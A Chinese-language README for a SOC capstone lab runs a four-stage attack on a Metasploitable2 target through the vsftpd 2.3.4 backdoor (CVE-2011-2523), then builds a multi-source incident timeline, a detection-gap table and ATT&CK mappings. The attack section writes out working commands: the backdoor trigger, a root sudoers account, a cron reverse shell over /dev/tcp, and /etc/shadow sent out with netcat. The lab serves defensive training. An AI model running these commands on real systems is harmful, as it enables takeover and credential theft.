端到端 SOC 调查:CVE-2011-2523 杀伤链、多源日志关联、事件报告 — MITRE ATT&CK T1190
针对 Metasploitable2 执行完整的四阶段攻击链(侦察 → 利用 → 持久化 → 数据外泄),在每个阶段收集证据,并生成结构化的入侵时间线和 SOC 报告——同时演示攻击者与防御者思维。
这是一个顶点项目。它展示了以下能力:
所用的漏洞(CVE-2011-2523 — vsftpd 2.3.4 后门)具有历史意义:这是一次供应链攻击,攻击者将后门注入了开源的 vsftpd 软件包源码仓库。
╔═══════════════════════════════╗
║ soc-lab (172.23.0.0/24) ║
║ ║
┌─────────────┐ ║ ┌─────────────────────────┐ ║
│ 攻击者 │ ║ │ Metasploitable2 │ ║
│ Kali Linux │ ║ │ 172.23.0.200 │ ║
│ │ ║ │ │ ║
│ 阶段1 │─────╫─►│ :21 vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│ nmap -A │ ║ │ :22 SSH │ ║ 后门在:6200
│ │ ║ │ :80 HTTP (DVWA) │ ║
│ 阶段2 │─────╫─►│ :445 Samba │ ║
│ msf exploit│◄────╫──│ :6200 root shell │ ║
│ │ ║ └─────────────────────────┘ ║
│ 阶段3 │─────╫─► useradd sysbackup ║
│ 持久化 │─────╫─► crontab 反弹 shell ║
│ │ ║ ║
│ 阶段4 │◄────╫── /etc/shadow 通过 nc :5555 ║
│ 数据外泄 ╚═══════════════════════════════╝
└──────┬──────┘
│
│ 证据收集:
│ logs/msf_session.log
│ logs/target_auth.log
│ captures/full_attack_chain.pcap (tshark CSV)
▼
┌──────────────────────────────────────────────────┐
│ build_timeline.py │
│ 解析器:MSF 日志 + auth.log + tshark CSV │
│ → 按时间戳合并 → 按阶段标记 │
│ → JSON 时间线 + Markdown 入侵报告 │
└──────────────────────────────────────────────────┘
cd docker/
# 启动 Metasploitable2(隔离网络)
docker compose up -d metasploitable
# 验证目标可达
nmap -p 21,22,80 172.23.0.200
# 启动后台包捕获
sudo tcpdump -i eth0 host 172.23.0.200 \
-w captures/full_attack_chain.pcap &
nmap -sV -O -A \
-p 21,22,80,139,445,3306,5432 \
--script=banner,ftp-anon,http-title \
-oX logs/recon_scan.xml \
172.23.0.200
关键发现:21/tcp open ftp vsftpd 2.3.4
# 方法A:Metasploit
msfconsole -q -x "
use exploit/unix/ftp/vsftpd_234_backdoor;
set RHOSTS 172.23.0.200;
set PAYLOAD cmd/unix/interact;
run" | tee logs/msf_session.log
# 方法B:手动(演示机制)
# 步骤1:通过发送包含 ':)' 的用户名触发后门
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# 步骤2:连接到生成的 root shell
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)
为什么这能工作:当 vsftpd 2.3.4 接收到包含子串 :) 的用户名时,守护进程会执行 execl("/bin/sh",...) 并绑定到 TCP 端口 6200。无需认证——直接获得 root shell。
# 在目标的 root shell 中执行:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -
# 接收端(攻击者)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt
# 发送端(目标上)
cat /etc/shadow | nc 172.23.0.1 5555
# 先将 PCAP 转换为 CSV
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap
# 从所有源构建时间线
python3 src/build_timeline.py \
--msf-log logs/msf_session.log \
--auth-log logs/target_auth.log \
--pcap-csv captures/full_attack_chain_packets.csv \
--output-json samples/timeline.json \
--output-md docs/incident_report.md \
--pretty
build_timeline.py stderr2026-04-24T16:05:20 [INFO ] Parsed 9 events from MSF log
2026-04-24T16:05:20 [INFO ] Parsed 11 events from auth.log
2026-04-24T16:05:20 [INFO ] Parsed 4 flow-initiation events from PCAP CSV
2026-04-24T16:05:20 [INFO ] Total events (sorted): 24
2026-04-24T16:05:20 [INFO ] Unique IOCs extracted: 4
2026-04-24T16:05:20 [INFO ] Phase RECON : 8 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXPLOIT : 4 event(s)
2026-04-24T16:05:20 [INFO ] Phase PERSIST : 6 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXFIL : 2 event(s)
samples/sample_timeline.json 的摘录){
"total_events": 24,
"iocs": [
{ "indicator": "172.23.0.1", "phase": "RECON", "occurrence": 8 },
{ "indicator": "172.23.0.1", "phase": "EXPLOIT", "occurrence": 2 },
{ "indicator": "sysbackup", "phase": "PERSIST", "occurrence": 1 }
],
"timeline": [
{ "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON", "description": "nmap -sV -O -A", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
{ "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL", "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
]
}
这是最重要的分析输出——如果没有适当的检测,哪些内容将会被遗漏。
关键发现:vsftpd 2.3.4 漏洞利用在 auth.log 中没有留下任何条目,因为它绕过了登录子系统。唯一的日志证据是随后到端口 6200 的 TCP 连接——没有网络遥测则不可见。仅靠端点日志无法检测此类攻击。
04-soc-investigation/
├── src/
│ ├── build_timeline.py # 多源日志合并器 + 阶段标记器
│ └── run_attack_chain.sh # 包含精确命令的逐步攻击链
├── configs/
│ └── splunk_detection_rules.spl # 特定阶段的 SPL 查询(侦察/利用/持久化/数据外泄)
├── samples/
│ └── sample_timeline.json # 示例入侵时间线 JSON
├── docker/
│ └── docker-compose.yml # 隔离的 Metasploitable2 目标
├── docs/
│ └── incident_report.md # 生成的 SOC 报告(build_timeline.py --output-md)
└── screenshots/
| 工具 | 用途 |
|---|
| Metasploitable2 | 故意存在弱点的 Linux 目标 |
| Nmap 7.94 | 阶段1:服务枚举 |
| Metasploit 6.x | 阶段2:vsftpd 2.3.4 漏洞利用 |
| Netcat | 阶段3–4:持久化 + 数据外泄 |
| tshark | 所有阶段的包捕获 |
| Python 3 | build_timeline.py — 多源日志合并器 |
| Splunk Free / ELK | 特定阶段的 SIEM 检测 |
| 阶段 | 原始日志证据 | 被 SIEM 规则捕获 | 缺少覆盖时被遗漏 |
|---|
| 侦察 | PCAP:对 24 个端口的 SYN 泛洪 | 端口扫描规则(>20 端口/10秒)✓ | 慢速扫描 (-T1):完全规避速率阈值 |
| 利用 | PCAP:到 :6200 的新连接 · 没有 auth.log 条目 | :6200 端口异常规则 ✓ | 如果攻击者使用了 :80 上的 HTTP 漏洞——没有端口异常 |
| 持久化 | auth.log:new user: name=sysbackup | 新用户创建告警 ✓ | 直接编辑 /etc/passwd:无日志记录(缺少 auditd) |
| 数据外泄 | PCAP::5555 上 4 KB 出站 | 非标准端口 + 大小规则 ✓ | DNS 外泄(TXT 记录):完全规避体积规则 |
| 限制 | 影响 | 缓解措施 |
|---|
| vsftpd 2.3.4 是 2011 年的漏洞 | 不能代表现代漏洞 | 添加 EternalBlue (MS17-010) 作为替代利用场景 |
build_timeline.py 使用关键词分类 | 错误分类某些事件 | 使用标记的日志数据训练轻量级 NLP 分类器 |
| 缺少端点检测 (EDR) | 文件级持久化(authorized_keys)未被捕获 | 在目标上添加 Wazuh 或 Elastic Agent |
| 手动执行攻击链 | 无交互干预则无法复现 | 使用 Metasploit 资源脚本自动化阶段 2–4 |
| 参考 | ID / 链接 |
|---|
| CVE-2011-2523 — vsftpd 2.3.4 后门 | https://nvd.nist.gov/vuln/detail/CVE-2011-2523 |
| MITRE ATT&CK — 利用面向公众的应用程序 | T1190 |
| MITRE ATT&CK — 创建账户:本地账户 | T1136.001 |
| MITRE ATT&CK — 计划任务/作业:Cron | T1053.003 |
| MITRE ATT&CK — 通过 C2 通道外泄 | T1041 |
| MITRE ATT&CK — 有效账户 | T1078 |